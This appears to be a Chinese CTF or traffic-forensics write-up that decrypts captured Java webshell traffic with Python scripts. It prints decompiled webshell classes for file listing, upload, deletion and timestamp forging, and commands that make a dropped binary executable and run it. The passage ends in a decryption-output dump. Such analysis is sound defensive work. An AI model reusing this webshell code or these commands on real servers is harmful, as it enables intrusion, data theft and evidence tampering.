(file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } } return permStr; } private String list() throws Exception { File f = new File(path); List<Map<String, String>> objArr = new ArrayList<>(); objArr.add(warpFileObj(new File("."))); objArr.add(warpFileObj(new File(".."))); if (f.isDirectory() && f.listFiles() != null) { for (File temp : f.listFiles()) { objArr.add(warpFileObj(temp)); } } String result = buildJsonArray(objArr, true); return result; } private String show() throws Exception { byte[] fileContent = getFileData(path); return base64encode(fileContent); } private byte[] getFileData(String path2) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); FileInputStream fis = new FileInputStream(new File(path2)); while (true) { int data = fis.read(); if (data != -1) { output.write(data); } else { fis.close(); return output.toByteArray(); } } } private String create() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "上传完成,远程文件大小:" + new File(path).length(); return result; } private Map<String, String> renameFile() throws Exception { Map<String, String> result = new HashMap<>(); File oldFile = new File(path); File newFile = new File(newPath); if (oldFile.exists() && (oldFile.isFile() & oldFile.renameTo(newFile))) { result.put("status", "success"); result.put("msg", "重命名完成:" + newPath); } else { result.put("status", "fail"); result.put("msg", "重命名失败:" + newPath); } return result; } private String createFile() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.close(); String result = path + "创建完成"; return result; } private String createDirectory() throws Exception { File dir = new File(path); dir.mkdirs(); String result = path + "创建完成"; return result; } private void download() throws Exception { FileInputStream fis = new FileInputStream(path); Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); while (true) { int data = fis.read(); if (data != -1) { write.invoke(so, Integer.valueOf(data)); } else { so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); fis.close(); return; } } } private String append() throws Exception { FileOutputStream fso = new FileOutputStream(path, true); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "追加完成,远程文件大小:" + new File(path).length(); return result; } private Map<String, String> delete() throws Exception { Map<String, String> result = new HashMap<>(); File f = new File(path); if (f.exists()) { if (f.delete()) { result.put("status", "success"); result.put("msg", path + " 删除成功."); } else { result.put("status", "fail"); result.put("msg", "文件" + path + "存在,但是删除失败."); } } else { result.put("status", "fail"); result.put("msg", "文件不存在."); } return result; } private String getTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); Map<String, String> timeStampObj = new HashMap<>(); if (f.exists()) { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Object createTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("creationTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastAccessTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastAccessTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastModifiedTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastModifiedTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue())); String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue())); String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue())); timeStampObj.put("createTime", createTimeStamp2); timeStampObj.put("lastAccessTime", lastAccessTimeStamp); timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp); String result = buildJson(timeStampObj, true); return result; } throw new Exception("文件不存在"); } private boolean isWindows() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { return true; } return false; } private String updateTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); if (f.exists()) { f.setLastModified(df.parse(modifyTimeStamp).getTime()); if (!isOldJava()) { Class PathsCls = Class.forName("java.nio.file.Paths"); Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class); Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]); Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime())); Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime())); Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime())); BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime); } return "时间戳修改成功。"; } throw new Exception("文件不存在"); } private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception { int size; FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch == null) { FileInputStream fis = new FileInputStream(path2); ch = fis.getChannel(); sessionSetAttribute(this.Session, "fis", fis); sessionSetAttribute(this.Session, path2, ch); } ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2); synchronized (ch) { ch.position(blockIndex2 * blockSize2); size = ch.read(buffer); } byte[] content2 = new byte[size]; System.arraycopy(buffer.array(), 0, content2, 0, size); return base64encode(content2); } private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception { File file = new File(srcDir); String fileName = file.getName(); FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip"); System.currentTimeMillis(); ZipOutputStream zos = null; try { try { zos = new ZipOutputStream(out); File sourceFile = new File(srcDir); compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure); System.currentTimeMillis(); if (zos != null) { try { zos.close(); } catch (IOException e) { e.printStackTrace(); } } } catch (Exception e2) { throw new RuntimeException("zip error from ZipUtils", e2); } } catch (Throwable th) { if (zos != null) { try { zos.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception { byte[] buf = new byte[102400]; if (sourceFile.isFile()) { zos.putNextEntry(new ZipEntry(name)); FileInputStream in = new FileInputStream(sourceFile); while (true) { int len = in.read(buf); if (len != -1) { zos.write(buf, 0, len); } else { zos.closeEntry(); in.close(); return; } } } else { File[] listFiles = sourceFile.listFiles(); if (listFiles == null || listFiles.length == 0) { if (KeepDirStructure) { zos.putNextEntry(new ZipEntry(name + "/")); zos.closeEntry(); return; } return; } for (File file : listFiles) { if (KeepDirStructure) { compress(file, zos, name + "/" + file.getName(), KeepDirStructure); } else { compress(file, zos, file.getName(), KeepDirStructure); } } } } ... } {/collapse-item} {/collapse} 发现是获取了/的文件列表,返回值也印证了这一点。后续的几个包分别获取了: /tmp/ /var/ /var/tmp/ 的列表。 再之后发现: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } 调用了写入文件的功能,往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico,发现有737个文件,编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息: import os import re import base64 from Crypto.Cipher import AES KEY = b"1f2c8075acd3d118" DIR = "export" def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" chunks = [] def get_sort_key(fname): match = re.search(r'\((\d+)\)', fname) return int(match.group(1)) if match else 0 files = sorted(os.listdir(DIR), key=get_sort_key) for fname in files: path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() data = decrypt_to_class(body) if data.startswith(b"\xca\xfe\xba\xbe"): with open(f"payload-{fname}.class", "wb") as file: file.write(data) print(f"Dump {fname} as java class file") else: with open(f"payload-{fname}.txt", "wb") as file: file.write(data) print(f"Dump {fname} as txt file") 一路看过去,发现中间都是在上传,最后检查了一遍Hash: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } 并且给予执行权限: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } 然后执行: package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } 得到了一个aes-key:IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=,之后就没有任何HTTP通信了。 第三层: 手写Shell 上面的HTTP流之后有一个TCP流通信,Dump出来发现: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 因为其长度不固定,推测不是ECB和CBC,尝试使用常见的CTR和CFB: import base64 import binascii from Crypto.Cipher import AES from Crypto.Util import Counter key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) chunks = [] i = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] chunks.append(chunk) i += length iv=b'\x00' * 16 print(f"iv:0*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=b'\xff' * 16 print(f"iv:ff*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=key[:16] print(f"iv:key[:16]s") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") 发现没有可读数据: {collapse} {collapse-item label="代码部分 - 点击展开"} iv:0*16 ctr: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4"w9[j\xb8}\xe0\xf9' 1: len36: b'K%\xd7+\xc2K\\A\xf3\x9b\xff&\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{' 2: len30: b'\x04\x8a\xbc\x83<\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4' 3: len31: b'\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85"\xbb\x84H\x0cHz\xd2' 4: len48: b'\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg' 5: len43: b'\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe' 6: len110: b'~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;' 7: len105: b'\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e"#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT' 8: len36: b'U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W<\xee\xa9~\xf3\x0b\xfb\xdc\x02' 9: len31: b"|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&\x8b(\x1f=y\xc869'\xd0b\x9d" cfb: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:ff*16 ctr: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r<\xae)\xb3\xdf' 1: len36: b'O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht' 2: len30: b'Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb' 3: len31: b'\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17' 4: len48: b'O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu' 5: len43: b'\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e' 6: len110: b'JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr' 7: len105: b'm<n2_\xb02\xa8a\x87\x8b\x8b\xf8b<\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae' 8: len36: b'\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c>\xd2\x1b\xb3W' 9: len31: b'Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&\x985\x82\\T\xad\x05\x0c>' cfb: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:key[:16]s ctr: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,' 1: len36: b'B\x1c"\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6' 2: len30: b"\xe3\xcb\x99\x98'\x7f \xfa\x80\x14Y>}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n<" 3: len31: b'$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81<\xa4\x8d\x9f\xbd\x070\xbf' 4: len48: b'\xd7\xf2x"\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03' 5: len43: b"\xbb\x8a\xdf'f\xe0-\x98\x96%-\xdb>W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5" 6: len110: b'0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|>\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@"\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.' 7: len105: b"\xe8\xe4\xe5'5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d>\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X'I\xd1$\x03A\xd2Z\xaah\xc5Q>\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01" 8: len36: b"8\x01A\xe1\xea<O\x81{2\xdaw\xa6\xc6\x83uP'\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb" 9: len31: b'\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.' cfb: 0: len31: 